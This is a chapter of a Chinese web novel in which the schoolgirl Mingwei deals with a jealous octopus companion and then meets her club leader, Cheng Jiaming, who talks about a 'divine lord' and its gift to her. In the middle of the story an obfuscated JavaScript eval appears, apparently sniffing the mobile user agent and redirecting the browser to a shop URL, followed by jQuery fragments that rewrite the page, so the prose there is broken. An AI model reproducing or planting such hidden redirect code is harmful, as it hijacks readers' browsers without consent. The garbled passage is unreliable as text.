“呜。呜呜!”小章鱼一下收回了腕足,可怜巴巴地趴在她的脚面上,努力地转悠着两点眼珠子。


    明微当作没看到。她卷起裤脚,小腿上布满了圆形的红印子,深深浅浅,像一枚枚小印章。她深吸一口气。


    知道自己犯了错,小章鱼用腕足尖儿轻轻抚摸着那些印章,怯怯地低喊:“明微……”


    明微默不作声地放下裤腿。


    它立刻收起腕足,蜷成一团,乖巧地伏在她的脚面上,静候发落。


    被这么重的一坨肉压着,明微的腿血液不畅,略有些发麻。她收回脚,走出卫生间。


    小章鱼紧跟其后,腕足不停地划动,太过慌张,其中几条缠在一起打了结,绊到了它自己。它大大的脑袋啪叽一声砸在地上,磕得不轻。


    “呜……”它用一只腕足推起脑袋,解开打结的腕足,向沙发爬过去。明微坐在那里。


    它小心翼翼缩在明微腿旁边,乖乖地收起腕足,压在身底下,不许它们不经同意碰到她。


    明微揉着小腿。


    “明微。”小章鱼喊。“对不起。”


    “去。卫生间。”它默默地爬下沙发,去卫生间待着去了。


    而明微打开了购物软件,抱着试一试的心态,看看能不能找到章鱼穿的鞋套,没想到还真有,她立刻下单了八只。


    明微当然没想真的让它睡卫生间。


    不过她不想这么快就让小章鱼知道她原谅它。于是她偷偷推开卫生间的门,透过缝隙,想看看小章鱼在做什么。


    在……用一根腕足抽打另一根腕足?


    “不听话!不听话!打你!打死你。”


    “小章同学。”明微敞开门。


    小章鱼见到她,委屈巴巴地举起一只蔫掉的腕足:“打它。”


    “不用了吧……”明微哭笑不得,这怎么还能单独教训一根腕足。


    明微说:“回卧室睡吧,我原谅你了。”


    那根蔫着的腕足一下伸直,像一个垂头丧气的人听到好消息那样抬头。


    这好的也太快了吧。明微心想。


    小章鱼跳下洗手池,噼里啪啦地往卧室爬去,脑袋开心地晃悠。


    洗完澡,明微一身清爽,心情愉悦,回卧室准备上床。她一眼就看见被子圆鼓鼓地隆起一个包。她掀开被子,一团球趴在那里。小章鱼丸子紧挨在床的一侧,贴心把大半床位留给了她。


    明微沉默了几秒,无情地命令:“回缸里。”


    小章鱼两点黑眼睛一动不动。


    空气安静了一瞬。


    它忽然在床上撒泼打滚。


    “明微。睡觉。”


    “明微。睡觉!”


    明微面无表情地抱起它,“太潮了,不可以。”将它投放到水族缸里。小章鱼扑通掉进水里,很快地翻转身体,额头贴着缸壁,眼巴巴地看向明微。


    两只眼睛里写满了委屈和不理解。


    明明之前还能上床的……它低头看向自己的腕足,几天前,它们还能抱着明微温暖的身体入睡。它用腕足缠绕自己,试图找到类似的温暖,然而这副□□冰冰冷冷,像一坨冻僵的鼻涕,抱起来毫无意思。


    小章鱼嫌弃地松掉腕足,蜷缩在角落,盯着床上的轮廓。它的眼睛亮着幽红的光。


    每一根腕足都有自己的记忆。它们共享着缠上她腰间时,肚皮柔软的触感,皮肤的温度和迷诱的香气。


    从记忆中滋生思念。一根触手的思念要加上另一根触手的思念,加起来的思念生出更多更多的思念。成百上千倍的思念占据了每一颗大脑。它新换上的心脏要碎掉了。


    因为它更加地不明白,为什么明微突然不让它上床了。


    明明之前它可以尽情地拥抱她。她看上去也很乐意。


    小章鱼想不明白。心脏剧烈地痉挛着,也许真的要碎掉了。


    它想到了手机屏幕,想到了那个程嘉鸣,明天明微还要出去见他。没有任何理由,但小章鱼坚决认为就是都怪程嘉鸣。


    幽红的光在黑暗中闪烁着,像两团飘忽的磷火。


    任何人都不能阻挡它和明微。


    明微第二天跟班主任请了病假。程嘉鸣也跟学校请了假。两人约好了见面地点。


    出门前,小章鱼抱住她的脚脖子:“明微。我。带。去。”


    明微拒绝:“你太大只了,我的包装不下。”


    而且会吓到路人的吧。


    小章鱼不甘心地松掉了腕足。


    它气鼓鼓的样子很可爱。明微忍不住笑了,抬手拍了拍它的小脑瓜。那里面不知道装了什么,拍起来特别有弹性,还会发出清脆的声音。


    “我给你带好吃的。”明微这么说,希望它能高兴一点。


    她和它拜拜手。它拜拜腕足。


    明微关上门,转身下楼。在她走出没多远,门开了一条缝,从缝中探出一条章鱼足。它用身子顶开门,看着明微离去的方向,圆眼压成三角眼,腕足尖儿握起来。


    ——它要阻止坏蛋的计划。


    它指挥八只腕足跟上明微。


    和程嘉鸣约好了在一家炸鸡店见面。


    程嘉鸣已经到了,坐在窗口的位置。明微在他对面坐下:“程学长。”


    对面打量着她,过了几秒,他才开口:“你看起来很好。”


    明微噎住了,这该怎么接。秉持着不知道回什么就微笑的原则,明微干笑了两声:“嘿嘿。”


    他推了推眼镜,身体前倾,像在透过镜片审视她,试图从她身上找出一丝异常:“据我所知,受到那东西的影响,人会逐渐失去自我,甚至身体也会受到改造。”


    这话云里雾气。


    出于谨慎,明微还是多问了一句:“社长,这不是社团活动吧。”


    程嘉鸣说:“还是那句话,明微同学,你认为我们社团只是一个看起来略显狂热的同人社团,对吗?”


    明微干笑。


    程嘉鸣坐直了身体:“那么我们说回到你最近的遭遇吧。倘若我告诉你,你身边的那些人,都受到了那东西的影响,才会做出这样的事,你会作何感想?”


    明微弱弱地开口:“请问,‘那东西’是什么?”


    “你可以理解为一种高维生物,”程嘉鸣说,“祂们的存在不是人类能够理解的。”


    他的说法,听上去把自己排除在人类以外。明微觉得这话很怪。


    “哦……”明微想了想,认真地总结道,“怪物。是吧。”


    简单粗暴的总结。程嘉鸣眼角抽搐了一下,眼镜腿差点掉下来,他反驳道:“是‘神主’。是更高维的存在。不是怪物。”


    随意影响别人的思维,不是怪物是什么,还要尊其为神主,好奇怪。


    明微只在心里想了想,没有将这番话说出口。


    明微问:“那有什么办法可以让大家恢复正常吗?”


    程嘉鸣上下打量明微,眼神流露出一丝高傲:“实际上,我认为这是神主对你的恩赐。”


    明微想说“嗯”,不小心说成了“呃”。


    “毕竟你只是一个普通又贫穷的女高中生,没有家室,也没有能力,什么都没有。如果没有这份恩赐,你就只是一个最不起眼的学生,根本不会得到这样的关注。”


    “呃。”明微又说错了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673510|188514||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “说说看吧,你许了什么愿望,变得受大家欢迎?变得不普通?”程嘉鸣并不觉得他的态度有什么问题。他还要继续说下去,明微忽然注意到,周围不知何时突然安静下来。


    邻桌的客人、柜台后的服务员,连路过店外的路人,全都停下了动作,冷冷地用眼睛挂着他。


    程嘉鸣察觉到了这股寒意,困惑地抬起头。这时,一个服务员走过来,手端盘子,冷淡机械的姿态,路过他这桌时,忽然就拿起可乐泼在了他的脸上。


    “咳咳!你做什么!”程嘉鸣脸色大变。


    那位服务员猛地回过神,眼里闪过一丝茫然和疑惑,随即满是恐慌地道歉:“对不起,对不起,我不小心洒在你身上。”


    明微看清了,服务员绝对是目标明确,朝着程嘉鸣来的。


    其实……


    明微诚恳地说:“不好意思,程学长,刚刚我的脚绊到这位服务员了。”


    服务员冲明微递来感感激的眼神,明微淡然地笑了笑——其实她刚刚罪恶地小爽了一下!


    程嘉鸣从服务员那里接过毛巾,不耐地摆摆手。


    “学长,”明微压低了语气,身体前倾,“你平常看番吗?”


    程嘉鸣眉头一蹙,泄露出疑惑的神色:“这有什么关系?”


    明微摇摇头,“没有。”她微笑着说:“就是想问你,有没有看过一部动漫叫《魔法少女小圆》。”


    程嘉鸣谨慎地盯着她。


    明微摇了摇头。唉。看来他不知道奇迹和魔法都是有代价的。


    “学长,我没有跟谁许过愿。”明微坦率地看着他,心想,就算要许愿的话,那肯定要许变亿万富翁之类的吧,谁会许“让自己变得受欢迎”之类的愿望啊,跟许“希望有一个帅气多金的老公”之类的愿望一样可笑吧。


    诶。明微脑子里有一根弦拨响了。她渐渐想到了什么,心虚地垂下眼,看向面前的咖啡桌。这咖啡桌可真咖啡桌。


    程嘉鸣审视着她:“你既没有许愿,也没有拿身上的任何东西做交换?”


    在梦里的应该不算。于是明微摇了摇头:“没有。”


    “好吧。就算你真的没许过。但你必须要知道,这是神主降临于你的恩赐,祂降临的诏令并不是能够随意收回的。”


    明微追问:“按照你这么说,再这样下去,那些同学是不是会受到影响?”


    程嘉鸣沉吟片刻:“不好说。但是经过我的观察,似乎只有当你靠近他们一定范围内,他们身上的‘效果’才会生效。”


    明微弱弱地念了一句:“好可怕。”


    “你身边难道没有出现过什么可疑人物吗?”程嘉鸣又问。


    “可疑人物?”虽然很不想承认,但是要说到可疑人物,只有犹格了。她点了点头。


    “那个可疑人物现在在哪里?”


    明微说:“不知道。”


    对于这种审讯似的聊天,明微感到一丝心累。尤其是程嘉鸣字里行间弥漫着一种俯视的高傲。虽然这种高傲的态度,被他头顶散发着的可乐气味削弱了不少。


    对方似乎并不将明微视为同级的人。


    “好。我现在有一个解决办法,可以让你归还这份恩赐。”程嘉鸣说。“你必须要亲自觐见神主,告诉神主你不需要它。”


    “啊……”明微犹豫了一会儿,小声问,“神主在哪里?我,我一个人去见吗?一个人见陌生人,好像不太安全。”


    程嘉鸣眼角再次抽搐,他仔细地审视着镜片后的女生,一时不确定她是认真的,还是在讽刺他。


    他依旧想不明白,为什么神主会挑中这种人。